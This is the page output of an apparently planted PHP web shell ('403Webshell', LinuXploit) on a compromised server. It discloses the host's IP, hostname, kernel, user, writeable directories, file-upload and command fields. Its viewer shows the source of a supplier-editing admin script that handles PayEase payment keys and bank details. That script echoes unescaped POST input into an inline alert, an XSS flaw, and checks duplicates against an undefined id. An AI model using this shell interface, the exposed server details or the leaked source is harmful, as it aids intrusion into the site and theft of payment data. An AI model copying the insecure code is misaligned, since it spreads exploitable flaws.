403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/littleark/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/littleark/webadmin/supplier_modify.php
<?php
$page_settings = array(
    'formid'     => 'Supplier', // for permission
    'section'    => 'Supplier', // parent/page title
    'subsection' => 'Supplier', // page title
    'domain'     => 'supplier', // table/model name
    'access'     => 'GNu', // for permission
);
require_once "check_login.php";

$supplier = Supplier::find((int) $_POST["id"]);
// $id = (int)$_POST["id"];

if (empty($_POST["code"])) {
    $message .= lang("Please enter Code.") . "\\n\\n";
}

// if (empty($_POST["case_number"])) {
//     $message .= lang("Please enter Case Number.") . "\\n\\n";
// }

foreach ($arraylangcode as $langcode => $langname) {
    if (empty($_POST["name_" . $langcode])) {
        $message .= lang("Please enter Name") . " [" . $langname . "].\\n\\n";
    }
}

// foreach ($arraylangcode as $langcode => $langname) {
//     if (empty($_POST["desc_" . $langcode])) {
//         $message .= lang("Please enter Description") . " [" . $langname . "].\\n\\n";
//     }
// }

if (empty($_POST["receive_order_email"])) {
    $message .= _lang("Please enter Receive Order Email.") . "\\n\\n";
} else {
    if (!filter_var($_POST["receive_order_email"], FILTER_VALIDATE_EMAIL)) {
        $message .= _lang("Invalid Receive Order Email format.") . "\\n\\ns";
    }
}

if (empty($_POST["payease_account_code"])) {
    $message .= lang("Please enter PayEase Account Code.") . "\\n\\n";
}

if (empty($_POST["payease_sub_merchant_number"])) {
    $message .= lang("Please enter PayEase Sub Merchant Number.") . "\\n\\n";
}

if (empty($_POST["platform_commission_value"])) {
    $message .= lang("Please enter Platform Commission Value.") . "\\n\\n";
} else {
    if (!is_numeric($_POST["platform_commission_value"])) {
        $message .= lang("Platform Commission Value should be a number.") . "\\n\\n";
    }
}

// if (empty($_POST["notification_callback_url"])) {
//     $message .= lang("Please enter Notification Callback URL.") . "\\n\\n";
// }

// if (empty($_POST["currency_rate"])) {
//     $message .= lang("Please enter Currency Rate.") . "\\n\\n";
// } else {
//     if (!is_numeric($_POST["billing_value"]) || $_POST["billing_value"] <= 0) {
//         $message .= _lang("Currency Rate should be a digital number and larger than 0.") . "\\n\\n";
//     }
// }

if (empty($_POST["billing_method"])) {
    $message .= _lang("Please enter Billing Method.") . "\\n\\n";
}

if (!isset($_POST["billing_value"])) {
    $message .= _lang("Please enter Billing Value.") . "\\n\\n";
} else {
    if (!is_numeric($_POST["billing_value"]) || $_POST["billing_value"] <= 0) {
        $message .= _lang("Billing Value should be a digital number and larger than 0.") . "\\n\\n";
    }
}

// if (empty($_POST["ebccode"])) {
//     $message .= _lang("Please enter Enterprise Customs Registration Code.") . "\\n\\n";
// }

// if (empty($_POST["ebcname"])) {
//     $message .= _lang("Please enter Enterprise Customs Registration Name.") . "\\n\\n";
// }

if (empty($_POST["max_idle_day_from_shipped_to_completed"])) {
    $message .= _lang("Please enter Maximum Idle Days From Shipped to Completed.") . "\\n\\n";
} else {
    if ($_POST["max_idle_day_from_shipped_to_completed"] < $master_settings["MAXIMUM_IDLE_DAY_FROM_SHIPPED_TO_COMPLETED"]) {
        $message .= _lang("Maximum Idle Days From Shipped to Completed should be larger than") . " " . $master_settings["MAXIMUM_IDLE_DAY_FROM_SHIPPED_TO_COMPLETED"] . ".\\n\\n";
    }
}

if (!empty($message)) {
    echo "<script>alert('" . $message . "'); history.back();</script>";
    exit;
}

$sql            = "select * from supplier where (name_en = ? or name_idn = ? or name_sc = ? or code = ?) and deleted =? and id != ?";
$parameters     = array($_POST["name_en"], $_POST["name_idn"], $_POST["name_sc"], $_POST["code"], "0", $id);
$check_supplier = bind_pdo($sql, $parameters, "selectone");
if ($check_supplier) {
    echo "<script>alert('" . lang("Supplier") . ": " . $_POST["code"] . " " . $_POST["name_en"] . " " . lang("has existed, please check your setting.") . "'); history.back();</script>";
    exit;
}

$supplier->fill([
    'code'                                   => $_POST['code'],
    'case_number'                            => $_POST['case_number'],
    // 'status'                                 => "ACTIVE",
    'payease_account_code'                   => $_POST['payease_account_code'],
    'payease_key'                            => $_POST['payease_key'],
    'payease_v_refoprt'                      => $_POST['payease_v_refoprt'],
    'payease_bank_client_accountcode'        => $_POST['payease_bank_client_accountcode'],
    'payease_bank_client_name'               => $_POST['payease_bank_client_name'],
    'payease_bank_name'                      => $_POST['payease_bank_name'],
    'payease_bank_province'                  => $_POST['payease_bank_province'],
    'payease_bank_city'                      => $_POST['payease_bank_city'],
    'payease_bank_code'                      => $_POST['payease_bank_code'],
    'payease_sub_merchant_number'            => $_POST['payease_sub_merchant_number'],
    'platform_commission_value'              => $_POST['platform_commission_value'],
    'notification_callback_url'              => $_POST['notification_callback_url'],
    // 'currency_code'                          => $_POST['currency_code'],
    'currency_rate'                          => $_POST['currency_rate'],
    'agent_id'                               => $_POST['settlement_type'] == "AGENT" ? $_POST['agent_id'] : false,
    'settlement_type'                        => $_POST['settlement_type'],
    'billing_method'                         => $_POST['billing_method'],
    'billing_value'                          => $_POST['billing_value'],
    'ebccode'                                => $_POST['ebccode'],
    'ebcname'                                => $_POST['ebcname'],
    'active_product_quota'                   => $_POST['active_product_quota'],
    'livechat_type'                          => $_POST['livechat_type'],
    'livechat_id'                            => $_POST['livechat_id'],
    'receive_order_email'                    => $_POST['receive_order_email'],
    'email_langcode'                         => $_POST['email_langcode'],
    'max_idle_day_from_shipped_to_completed' => $_POST['max_idle_day_from_shipped_to_completed'],
    'settlement_payment_type'                => $_POST['settlement_payment_type'],
]);

foreach ($arraylangcode as $langcode => $langname) {
    $supplier["name_{$langcode}"] = $_POST["name_{$langcode}"];
    $supplier["desc_{$langcode}"] = $_POST["desc_{$langcode}"];
}

$supplier->save();

header("Location: supplier_index.php?msg=2");

Youez - 2016 - github.com/yon3zu
LinuXploit